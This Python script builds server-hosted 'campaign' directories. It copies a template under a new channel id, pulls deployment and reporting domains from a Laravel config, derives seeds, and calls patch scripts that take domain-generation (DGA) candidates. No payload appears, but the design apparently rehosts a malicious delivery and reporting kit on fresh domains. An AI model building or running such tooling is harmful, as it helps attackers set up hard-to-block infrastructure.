#!/usr/bin/env python3 """Build server/public campaign trees: new channel + fixed domains from config. - New channel id only (domains unchanged vs last out/domains.json): copy web// + patch secondary packs; leave sync/ alone. - Domains changed (or first run / no sync yet): reset sync/ from source and run full patch_all. Domains default from Laravel config (系统设置 / CORUNA_CHANNEL_DOMAINS), used for both Deployment and Reporting pools. """ from __future__ import annotations import argparse import hashlib import json import shutil import subprocess import sys from pathlib import Path from _channel_patch import gen_channel_id, validate_channel_id from _domain_patch import parse_domain_list TOOLS = Path(__file__).resolve().parent LAB_ROOT = TOOLS.parent SOURCE_ROOT = LAB_ROOT / "source" SERVER_ROOT = LAB_ROOT / "server" APPLY_ROOT = SERVER_ROOT / "public" ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6" def _ignore_junk(_dir: str, names: list[str]) -> set[str]: skip = {"_bak", "__pycache__", ".DS_Store"} return {n for n in names if n in skip or n.endswith(".pyc")} def replace_tree(src: Path, dst: Path) -> None: if dst.exists(): shutil.rmtree(dst) shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk) def copy_campaign_template(dst_campaign: Path) -> None: src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID if not src.is_dir(): raise SystemExit(f"missing source campaign: {src}") if dst_campaign.exists(): raise SystemExit(f"campaign already exists: {dst_campaign}") shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk) def load_json(path: Path) -> dict | None: if not path.is_file(): return None return json.loads(path.read_text()) def domains_equal(prev: dict | None, dep: list[str], rep: list[str]) -> bool: if not prev or prev.get("mode") != "fixed_domains": return False return ( prev.get("deployment", {}).get("domains") == dep and prev.get("reporting", {}).get("domains") == rep ) def seeds_from_domains(dep: list[str], rep: list[str]) -> tuple[str, str]: def one(label: str, domains: list[str]) -> str: material = label.encode("ascii") + b"\0" + b"\0".join(d.encode("ascii") for d in domains) return hashlib.sha256(material).hexdigest()[:32] dep_seed = one("deployment", dep) rep_seed = one("reporting", rep) if dep_seed == rep_seed: rep_seed = one("reporting/alt", rep) return dep_seed, rep_seed def pick_channel(explicit: str | None, web_root: Path) -> str: channel = validate_channel_id(explicit) if explicit else gen_channel_id() while (web_root / channel).exists(): if explicit: raise SystemExit(f"web/{channel} already exists; choose another --channel-id") channel = gen_channel_id() return channel def run(cmd: list[str]) -> None: print("+", " ".join(cmd), flush=True) subprocess.run(cmd, cwd=str(LAB_ROOT), check=True) def load_domains_from_laravel() -> list[str]: """Read coruna.channel_domains (settings override env) via artisan.""" php_candidates = [ Path("/opt/homebrew/opt/php/bin/php"), Path("/usr/bin/php"), Path(shutil.which("php") or ""), ] php = next((p for p in php_candidates if p and p.is_file()), None) artisan = SERVER_ROOT / "artisan" if php is None or not artisan.is_file(): return [] proc = subprocess.run( [str(php), str(artisan), "coruna:channel-domains", "--json"], cwd=str(SERVER_ROOT), capture_output=True, text=True, check=False, ) if proc.returncode != 0: print(f"warn: coruna:channel-domains failed: {proc.stderr.strip()}", file=sys.stderr) return [] line = (proc.stdout or "").strip().splitlines() if not line: return [] try: data = json.loads(line[-1]) except json.JSONDecodeError: return [] if not isinstance(data, list): return [] return [str(x).strip() for x in data if str(x).strip()] def resolve_domains(cli_dep: list[str], cli_rep: list[str]) -> tuple[list[str], list[str]]: if cli_dep or cli_rep: if bool(cli_dep) != bool(cli_rep): raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither") return ( parse_domain_list(cli_dep, label="deployment"), parse_domain_list(cli_rep, label="reporting"), ) domains = load_domains_from_laravel() if not domains: raise SystemExit( "no domains in Laravel config (系统设置 → 投放域名 / CORUNA_CHANNEL_DOMAINS). " "Configure domains first, or pass --deployment-domains / --reporting-domains." ) # Same configured hosts for both pools (product default). return domains, list(domains) def main() -> int: parser = argparse.ArgumentParser( description=( "Create web// from source. " "If domains match the previous project, only patch secondary (sync untouched). " "If domains changed, rebuild sync/ via patch_all." ) ) parser.add_argument( "--channel-id", help="optional 32-char [0-9a-z] channel id (default: random, unique under web/)", ) parser.add_argument( "--deployment-domains", action="append", default=[], help="override Deployment hosts (default: Laravel coruna.channel_domains)", ) parser.add_argument( "--reporting-domains", action="append", default=[], help="override Reporting hosts (default: same as deployment from config)", ) parser.add_argument("--deployment-seed", help="optional; default: reuse or derive") parser.add_argument("--reporting-seed", help="optional; default: reuse or derive") parser.add_argument( "--force-sync", action="store_true", help="rebuild sync/ even when domains match the previous project", ) parser.add_argument( "-n", "--count", type=int, default=5, help="DGA candidates for patch_all when rebuilding sync (default 5)", ) args = parser.parse_args() src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID src_sync = SOURCE_ROOT / "sync" if not src_campaign.is_dir(): raise SystemExit(f"missing source campaign: {src_campaign}") if not src_sync.is_dir(): raise SystemExit(f"missing source sync: {src_sync}") APPLY_ROOT.mkdir(parents=True, exist_ok=True) web_root = APPLY_ROOT / "web" sync_dir = APPLY_ROOT / "sync" out_root = APPLY_ROOT / "out" out_root.mkdir(parents=True, exist_ok=True) web_root.mkdir(parents=True, exist_ok=True) fixed_dep, fixed_rep = resolve_domains(args.deployment_domains, args.reporting_domains) prev_domains = load_json(out_root / "domains.json") prev_seeds = load_json(out_root / "seeds.json") or {} sync_ready = sync_dir.is_dir() and (sync_dir / "daily.html").is_file() same_domains = ( domains_equal(prev_domains, fixed_dep, fixed_rep) and sync_ready and not args.force_sync ) channel = pick_channel(args.channel_id, web_root) campaign_dir = web_root / channel print("=== new_project ===") print(f"channel: {channel}") print(f"web dest: {campaign_dir}") print(f"domains: {'reuse sync (channel-only)' if same_domains else 'rebuild sync'}") print(f" deployment: {', '.join(fixed_dep)}") print(f" reporting: {', '.join(fixed_rep)}") print() print("=== copy campaign template ===") copy_campaign_template(campaign_dir) print(f"created web/{channel}/") domain_args: list[str] = [] for item in fixed_dep: domain_args += ["--deployment-domains", item] for item in fixed_rep: domain_args += ["--reporting-domains", item] py = sys.executable if same_domains: dep = args.deployment_seed or prev_seeds.get("deployment_seed") rep = args.reporting_seed or prev_seeds.get("reporting_seed") if not dep or not rep: dep, rep = seeds_from_domains(fixed_dep, fixed_rep) print("seeds: derived (out/seeds.json incomplete)") print("=== domains unchanged: patch secondary only (sync untouched) ===") print(f"reuse/derive seeds dep={dep} rep={rep}") run( [ py, str(TOOLS / "patch_secondary_packs.py"), "--deployment-seed", str(dep), "--reporting-seed", str(rep), "--channel-id", channel, *domain_args, "--root", str(APPLY_ROOT), "--apply", ] ) (out_root / "channel.json").write_text( json.dumps( { "channel_id": channel, "patched": True, "sync_rebuilt": False, "deployment_seed": dep, "reporting_seed": rep, "deployment_domains": fixed_dep, "reporting_domains": fixed_rep, }, indent=2, ) + "\n" ) else: print("=== domains new/changed (or no sync): reset sync + full patch ===") replace_tree(src_sync, sync_dir) print(f"copied sync/ -> {sync_dir}") cmd = [ py, str(TOOLS / "patch_all.py"), "--apply", "--root", str(APPLY_ROOT), "--channel-id", channel, "-n", str(args.count), *domain_args, ] if args.deployment_seed: cmd += ["--deployment-seed", args.deployment_seed] if args.reporting_seed: cmd += ["--reporting-seed", args.reporting_seed] print() print("=== patch_all --apply ===") run(cmd) seeds = load_json(out_root / "seeds.json") or {} (out_root / "channel.json").write_text( json.dumps( { "channel_id": channel, "patched": True, "sync_rebuilt": True, "deployment_seed": seeds.get("deployment_seed"), "reporting_seed": seeds.get("reporting_seed"), "deployment_domains": fixed_dep, "reporting_domains": fixed_rep, }, indent=2, ) + "\n" ) print() print("=== ready ===") print(f"web: {campaign_dir}") print(f"sync: {sync_dir} ({'unchanged' if same_domains else 'rebuilt'})") print(f"channel: {out_root / 'channel.json'}") print(f"domains: {out_root / 'domains.json'}") print() print(f"served: /web/{channel}/support.html") if not same_domains: print(" /sync/daily.html") return 0 if __name__ == "__main__": raise SystemExit(main())